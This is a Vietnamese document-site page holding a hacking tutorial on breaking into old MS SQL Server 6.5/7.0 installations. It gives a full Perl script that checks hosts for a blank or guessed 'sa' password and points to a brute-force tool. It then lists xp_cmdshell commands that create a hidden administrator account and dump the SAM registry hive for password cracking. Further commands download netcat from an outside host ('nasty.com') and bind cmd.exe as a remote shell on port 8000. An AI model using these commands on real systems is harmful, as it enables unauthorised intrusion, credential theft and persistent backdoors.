1. Trang chủ
  2. » Công Nghệ Thông Tin

Tấn Công Ms Sql Server, (cách cổ điển)

3 1,5K 2
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Tấn Công Ms Sql Server, (cách cổ điển)
Trường học Học Viện Công Nghệ Bưu Chính Viễn Thông
Chuyên ngành Công Nghệ Thông Tin
Thể loại bài viết
Định dạng
Số trang 3
Dung lượng 33,5 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Tấn Công Ms Sql Server, (cách cổ điển)

Trang 1

Tấn Công Ms Sql Server, (cách cổ điển)

trang này đã được đọc lần

Giới thiệu :

hồi giờ chúng ta tấn công vào server dùng MS SQL Server đa phần là dùng kĩ thuật SQL injection , đây là kĩ thuật hack phải nói là hay nhất , hiệu quả cao và nhanh chóng nhất , tuy nhiên trong bài này tôi sẽ đề cập đến 1 cách khác để hack vào MS SQL Server , cách này tuy xác suất thành công không cao bằng SQl injection nhưng cũng đáng để quan tâm bởi vì đâu phải lúc nào chúng ta cũng tìm thấy lỗi SQl injection

Cách này của chúng ta tạm gọi là "TRSQL" vì đa phần là nhờ may mắn , nhưng chả hiểu sao hồi trước tới giờ tôi thấy cái may mắn này lại hay xảy ra

Công cụ đầu tiên chúng ta cần là sqlbf (SQL Brute Force ) cái này cứ vào packetstorm mà tìm

Và cái tool connect vào MS SQL Server : http://www.hvaonline.net/exploite/SqlExec.exe

Chúng ta bắt đầu :

Hầu hết MS SQL Server đầu chạy trên TCP port 1433 , còn nếu chạy trên port khác thì mình dùng công cụ scan là cũng ra ngay thôi Cái MS SQL server mà chúng ta bàn luận ở đây hơi cũ chút là : SQL 6.5 & 7.0 Tuy

cũ nhưng tôi vẫn viết ra ở đây mục đích là học hỏi kinh nghiêm chứ không phải mục đích là tìm mục tiêu để hack phá phách Download sqlbt về xong thì run nó , rất dễ dùng , công việc của nó là kiếm password cho chúng ta login Nhược điểm của MS SQL server thứ nhất là mặc định system administrator là "sa" , do đó chúng ta không cần phải brute cái username mà chỉ cần brute force cái password là đủ , thứ 2 là default password của sa là "không có gì hết" , cái này mới chết người , ai cũng quan niệm là "chỗ nguy hiểm nhất chính là chỗ an toàn nhất" , bởi vậy password là "không có gì hết" thì đố ai ngờ được , sai lầm chết người của nhiều người quản trị mạng ở chỗ đó , vì chúng ta có sqlbf tool nên ai có suy nghĩ đó là chết liền

Sẵn đây tôi cũng giới thiệu với các bạn cái tool scan server có password là "không có gì hết" :

save lại nội dung code sau thành file senseql.pl , và run :

-

-• scans for hosts with blank passwords

• Brute Forces login attempts

#!/usr/bin/perl

## SQL username/password checker

## Parameters: senseql <IP> <username> <password>

## Eg to check for blank SA:

## senseql 10.0.0.1 sa ""

## Roelof Temmingh / Haroon Meer

## roelof@sensepost.com / haroon@sensepost.com

## SensePost IT Security

## http://www.sensepost.com/ http://www.hackrack.com/

## 2001/11/09

use IO::Socket;

$|=1;

if ($#ARGV<2) {die "Usage: senseql IP username password\n";}

$port=1433; $host=$ARGV[0]; $username=$ARGV[1]; $pass=$ARGV[2];

$unh=pack("a30",$username);$psh=pack("a30",$pass);

$numu=pack("c",length($username)); $nump=pack("c",length($pass));

$FRONT="0200020000000200000000000000000000000000000000000000000000000000000

00000000000";

$REST="30303030303061300000000000000000000000000000000000201881b82c08030106

0a090101000000000000000000737175656c646120312e30000000000000000000000000000

000000000000b00000000000000000000000000000000000000000000000000000000000000

00";

$REST2="0000000000000000000000000000000000000000000000000000000000000000000

Trang 2

000000000000000000000000000000000000000000000000000000000000000000000000000

000000000000000000000000000000000000000000000000000000000000000000000000000

000000000000000000000000000000000000000000000000000000000000000000000000000

000000000000000000000000000000000000000000000000000000000000000000000000000

000000040200004d5344424c49420000000706000000000d110000000000000000000000000

00000000000000000000000";

$hfront=pack("H*",$FRONT);$hrest=pack("H*",$REST);$hrest2=pack("H*",$REST2)

;

$FULL=$hfront.$unh.$numu.$psh.$nump.$hrest.$nump.$psh.$hrest2;

$SENDY2="020100470000020000000000000000010000000000000000000000000000000000

000000000000000000000000000000000000000000000000000000003030300000000300000

0";

$SENDY2 = pack("H*",$SENDY2);

print "$host:$username:$pass:";

$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort =>

$port) || die "No SQL here man ";

print $remote $FULL; print $remote $SENDY2;

recv($remote,$back,100,MSG_PEEK);

if ($back =~ /context to 'master'/) {print "Yep - go for it\n"}

else {print "No dude \n";}

close ($remote);

Lets move on… at least to admins who have had the sense to change the admin password

-

-Giả sử như sqlbt tìm ra password của sa và login vào với username "sa" , chúng ta phải làm gì đây để nắm hoàn toàn hệt thống ?

Giờ đây chúng ta có thể dùng Stores Procedures , đặc biệt là xp_cmdshell , vấn đề bi giờ giống như là chúng

ta hack bằng SQL injection mà có quyền "sa" vậy Sẵn đây tôi sẽ giới thiệu cho các bạn biết sơ về các Extended Stores Procedures cần thiết và chức năng của nó :

xp_regread - reads a registry value

xp_rewrite - writes to the registry

xp_regdeletekey - deletes a key

xp_regdeletevalue - deletes a key's value

xp_regenumvalues - lists names of value entries

xp_regaddmultistring - adds a multistring (zero-delimited string)

xp_regremovemultistring - removes a multi string (zero delimited string)

Nhiệm vụ chính của chúng ta hiện giờ là , add ADMIN , đổ SAM và UPLOAD Backdoor

Thêm tài khoản vào Administrators Group : ( username : Mask_NBTA , password : hacked )

Xp_cmdshell 'net user Mask_NBTA hacked /ADD'

Xp_cmdshell 'net localgroup /ADD Administrators Mask_NBTA'

Đổ SAM :

Có quyền admin thì đọc file SAM và Crack bằng L0pth Crack 4.0 : ( máy tôi pentium 4 1.7 Ghz crack 2 user mất khoảng 7h )

Xp_regread 'HKEY_LOCAL_MACHINE','SECURITY\SAM\Domains\Account ','F'

Tại sao thông qua "sa" ta có thể làm nhiều việc như vậy , tại vì mặc định SQL Server chạy với quyền "local system"

Trang 3

UPLOAD Backdoor :

Các bạn có thể dùng backdoor gì tuỳ thích , ở đây tôi dùng netcat ( xưa giờ vẫn ko thấy con nào hay hơn con này ) :

xp_cmdshell 'tftp –I nasty.com GET nc.exe c:\nc.exe'

và thi hành nó bằng cách :

xp_cmdshell 'c:\nc.exe –l –p 8000 –e cmd.exe'

Sau đó vào DOS , telnet vào server ở PORT 8000

Xong , với 3 công việc này bạn đã biết phải làm gì khi có được "sa" ở MS SQL Server

Àh , nếu bạn nào vô tình bằng cách gì đó có được password HASH của "sa" thì tôi xin giới thiệu 1 cách để crack password này rất hiệu quả

Hướng dẫn cặn kẽ và có tool sãn ở đây : http://www.ngssoftware.com/ tìm file cracking-sql-passwords.pdf

Ngày đăng: 02/11/2012, 14:19

TỪ KHÓA LIÊN QUAN

w